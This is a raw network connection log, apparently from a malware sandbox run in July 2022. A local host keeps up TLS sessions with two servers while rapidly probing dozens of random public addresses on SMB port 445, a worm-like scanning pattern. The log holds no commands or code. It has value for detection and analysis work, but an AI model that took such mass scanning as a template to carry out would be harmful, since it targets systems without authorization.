Jul 20, 2022 15:44:18.506748915 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506755114 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506763935 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506822109 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506844997 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506858110 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506906986 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506910086 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506922960 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506947994 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506979942 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506989956 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507016897 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507030964 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507046938 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507047892 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507061958 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507117033 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507139921 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507158041 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507168055 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507208109 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507225037 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507250071 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507253885 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507267952 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507297039 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507329941 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507348061 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507355928 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507370949 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507395029 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507438898 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507448912 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507520914 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507534027 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507560015 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507600069 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507611036 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507628918 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507642031 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507674932 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507704973 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.507713079 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.507772923 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.544297934 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.544327021 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544375896 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544538975 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.544550896 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544567108 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544703007 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.544713020 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544807911 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.544817924 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544827938 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544883966 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.544892073 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.544980049 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.544989109 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.545064926 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.545072079 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.545130014 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.545139074 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.545305967 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.545315027 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.545326948 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.545466900 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.550609112 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.550810099 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.551951885 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.551981926 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.619187117 CEST	50816	445	192.168.2.7	145.246.145.94
Jul 20, 2022 15:44:18.706296921 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706325054 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706345081 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706444979 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706459045 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706478119 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706532001 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706542969 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706599951 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706608057 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706626892 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706664085 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706675053 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706691980 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706726074 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706736088 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706799030 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706808090 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706829071 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706856966 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706871033 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706890106 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706928015 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706940889 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706963062 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.706986904 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.706998110 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707066059 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.707079887 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707099915 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707133055 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.707144976 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707161903 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707206964 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.707218885 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707237959 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707272053 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.707283974 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707339048 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.707350969 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707370043 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707397938 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.707406044 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.707480907 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.708890915 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.708915949 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709058046 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709295988 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709311008 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709345102 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709472895 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709487915 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709512949 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709554911 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709567070 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709640026 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709651947 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709712982 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709719896 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709732056 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709774971 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709789991 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709844112 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709855080 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709880114 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.709917068 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.709945917 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.710015059 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.710030079 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.710203886 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.710220098 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.710242987 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.710340977 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711024046 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711040020 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711064100 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711208105 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711220026 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711230993 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711280107 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711291075 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711316109 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711344004 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711354971 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711369991 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711429119 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711442947 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711494923 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711505890 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711524010 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711587906 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711601973 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711672068 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711678982 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711687088 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711746931 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711757898 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711785078 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711832047 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711844921 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.711932898 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.711945057 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.712064028 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.712075949 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.712203026 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.712219000 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.712249994 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.712256908 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.712280989 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.712450981 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.712487936 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.712513924 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.712678909 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.712718964 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.714085102 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.714114904 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.714142084 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.714190960 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.714215994 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.714225054 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.714296103 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.714308977 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.714409113 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.714504957 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.746778965 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.746804953 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.746927977 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.747301102 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.747731924 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.751903057 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.751940012 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.751956940 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.752027035 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.776957989 CEST	50817	445	192.168.2.7	125.101.55.143
Jul 20, 2022 15:44:18.793864012 CEST	50818	445	192.168.2.7	149.163.82.154
Jul 20, 2022 15:44:18.794011116 CEST	50820	445	192.168.2.7	108.9.82.24
Jul 20, 2022 15:44:18.794032097 CEST	50819	445	192.168.2.7	111.111.49.214
Jul 20, 2022 15:44:18.794176102 CEST	50821	445	192.168.2.7	101.221.121.121
Jul 20, 2022 15:44:18.794178963 CEST	50822	445	192.168.2.7	176.132.12.211
Jul 20, 2022 15:44:18.794311047 CEST	50823	445	192.168.2.7	132.64.50.97
Jul 20, 2022 15:44:18.794368982 CEST	50824	445	192.168.2.7	148.20.110.170
Jul 20, 2022 15:44:18.806880951 CEST	50825	445	192.168.2.7	142.127.79.17
Jul 20, 2022 15:44:18.807746887 CEST	50826	445	192.168.2.7	7.13.216.224
Jul 20, 2022 15:44:18.808553934 CEST	50827	445	192.168.2.7	102.198.185.192
Jul 20, 2022 15:44:18.809298038 CEST	50828	445	192.168.2.7	218.125.217.91
Jul 20, 2022 15:44:18.811775923 CEST	50829	445	192.168.2.7	41.182.64.244
Jul 20, 2022 15:44:18.822809935 CEST	50830	445	192.168.2.7	121.205.216.163
Jul 20, 2022 15:44:18.823649883 CEST	50831	445	192.168.2.7	121.103.63.166
Jul 20, 2022 15:44:18.824367046 CEST	50832	445	192.168.2.7	138.224.150.19
Jul 20, 2022 15:44:18.825071096 CEST	50833	445	192.168.2.7	117.29.17.99
Jul 20, 2022 15:44:18.825798035 CEST	50834	445	192.168.2.7	207.148.240.194
Jul 20, 2022 15:44:18.826523066 CEST	50835	445	192.168.2.7	108.165.142.239
Jul 20, 2022 15:44:18.901056051 CEST	50836	445	192.168.2.7	207.202.241.0
Jul 20, 2022 15:44:19.010404110 CEST	50837	445	192.168.2.7	90.120.130.29
Jul 20, 2022 15:44:19.208117008 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.208169937 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.208503962 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.208992958 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.209019899 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.232163906 CEST	50839	445	192.168.2.7	152.182.75.19
Jul 20, 2022 15:44:19.232490063 CEST	50840	445	192.168.2.7	47.178.94.4
Jul 20, 2022 15:44:19.232777119 CEST	50841	445	192.168.2.7	20.60.236.117
Jul 20, 2022 15:44:19.233365059 CEST	50842	445	192.168.2.7	192.249.144.173
Jul 20, 2022 15:44:19.245187044 CEST	50843	445	192.168.2.7	19.129.144.83
Jul 20, 2022 15:44:19.245718956 CEST	50844	445	192.168.2.7	61.162.63.119
Jul 20, 2022 15:44:19.290950060 CEST	50845	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.314702988 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.314925909 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.319608927 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.319631100 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.320074081 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.332866907 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.333014965 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.333024979 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.333235025 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.360780001 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.360868931 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.360929012 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.364495993 CEST	50838	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.364532948 CEST	443	50838	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.376624107 CEST	445	50845	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.376730919 CEST	50845	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.377590895 CEST	50845	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.378871918 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.464649916 CEST	445	50845	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.465765953 CEST	445	50846	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.465893984 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.472296000 CEST	445	50845	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.472407103 CEST	50845	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.473413944 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.482566118 CEST	50847	445	192.168.2.7	47.59.99.225
Jul 20, 2022 15:44:19.558402061 CEST	445	50846	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.562599897 CEST	445	50846	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.562860012 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.652591944 CEST	445	50846	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.652802944 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.737869978 CEST	445	50846	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.738152981 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.747087002 CEST	50848	445	192.168.2.7	196.234.86.229
Jul 20, 2022 15:44:19.825937033 CEST	445	50846	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.826045990 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.900751114 CEST	50849	445	192.168.2.7	126.140.33.96
Jul 20, 2022 15:44:19.904062033 CEST	50850	445	192.168.2.7	134.101.87.70
Jul 20, 2022 15:44:19.914031029 CEST	445	50846	188.18.139.19	192.168.2.7
Jul 20, 2022 15:44:19.914158106 CEST	50846	445	192.168.2.7	188.18.139.19
Jul 20, 2022 15:44:19.916578054 CEST	50851	445	192.168.2.7	69.1.47.248
Jul 20, 2022 15:44:19.917067051 CEST	50852	445	192.168.2.7	139.237.197.167
Jul 20, 2022 15:44:19.917570114 CEST	50853	445	192.168.2.7	172.63.215.94
Jul 20, 2022 15:44:19.918078899 CEST	50854	445	192.168.2.7	119.249.36.236
Jul 20, 2022 15:44:19.918564081 CEST	50855	445	192.168.2.7	150.61.208.32
Jul 20, 2022 15:44:19.919064999 CEST	50856	445	192.168.2.7	165.120.175.42
Jul 20, 2022 15:44:19.919639111 CEST	50857	445	192.168.2.7	48.186.55.239
Jul 20, 2022 15:44:19.932137012 CEST	50858	445	192.168.2.7	133.120.225.75
Jul 20, 2022 15:44:19.932264090 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.932296038 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.932374001 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.933218002 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:19.933229923 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:19.934602022 CEST	50860	445	192.168.2.7	80.126.121.17
Jul 20, 2022 15:44:19.934676886 CEST	50861	445	192.168.2.7	52.61.209.200
Jul 20, 2022 15:44:19.934736013 CEST	50862	445	192.168.2.7	142.125.151.71
Jul 20, 2022 15:44:19.934748888 CEST	50863	445	192.168.2.7	100.10.179.28
Jul 20, 2022 15:44:19.947495937 CEST	50864	445	192.168.2.7	55.212.148.172
Jul 20, 2022 15:44:19.950092077 CEST	50865	445	192.168.2.7	64.234.118.30
Jul 20, 2022 15:44:19.950218916 CEST	50866	445	192.168.2.7	105.44.198.189
Jul 20, 2022 15:44:19.950303078 CEST	50867	445	192.168.2.7	43.172.224.88
Jul 20, 2022 15:44:19.950390100 CEST	50868	445	192.168.2.7	39.52.119.122
Jul 20, 2022 15:44:19.950423002 CEST	50869	445	192.168.2.7	146.73.139.22
Jul 20, 2022 15:44:20.028794050 CEST	50870	445	192.168.2.7	147.50.166.124
Jul 20, 2022 15:44:20.031059980 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:20.031166077 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.045378923 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.045391083 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:20.045644045 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:20.050842047 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.050925970 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.050935984 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:20.051132917 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.079051971 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:20.079662085 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.079708099 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.080375910 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:20.080460072 CEST	50859	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:20.080468893 CEST	443	50859	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:20.134967089 CEST	50871	445	192.168.2.7	112.67.4.13
Jul 20, 2022 15:44:20.205825090 CEST	445	50849	126.140.33.96	192.168.2.7
Jul 20, 2022 15:44:20.354480028 CEST	50872	445	192.168.2.7	100.111.12.115
Jul 20, 2022 15:44:20.355027914 CEST	50873	445	192.168.2.7	93.161.101.145
Jul 20, 2022 15:44:20.355513096 CEST	50874	445	192.168.2.7	95.166.140.227
Jul 20, 2022 15:44:20.356013060 CEST	50875	445	192.168.2.7	58.125.128.75
Jul 20, 2022 15:44:20.369378090 CEST	50876	445	192.168.2.7	223.134.41.218
Jul 20, 2022 15:44:20.370138884 CEST	50877	445	192.168.2.7	198.50.166.240
Jul 20, 2022 15:44:20.621169090 CEST	50878	445	192.168.2.7	119.208.107.65
Jul 20, 2022 15:44:20.870101929 CEST	50879	445	192.168.2.7	68.29.157.0
Jul 20, 2022 15:44:20.899739027 CEST	50849	445	192.168.2.7	126.140.33.96
Jul 20, 2022 15:44:21.038460970 CEST	50880	445	192.168.2.7	67.66.120.253
Jul 20, 2022 15:44:21.069753885 CEST	50881	445	192.168.2.7	194.217.136.195
Jul 20, 2022 15:44:21.071259022 CEST	50883	445	192.168.2.7	199.13.48.126
Jul 20, 2022 15:44:21.071346045 CEST	50882	445	192.168.2.7	79.202.141.163
Jul 20, 2022 15:44:21.071506023 CEST	50884	445	192.168.2.7	124.137.74.216
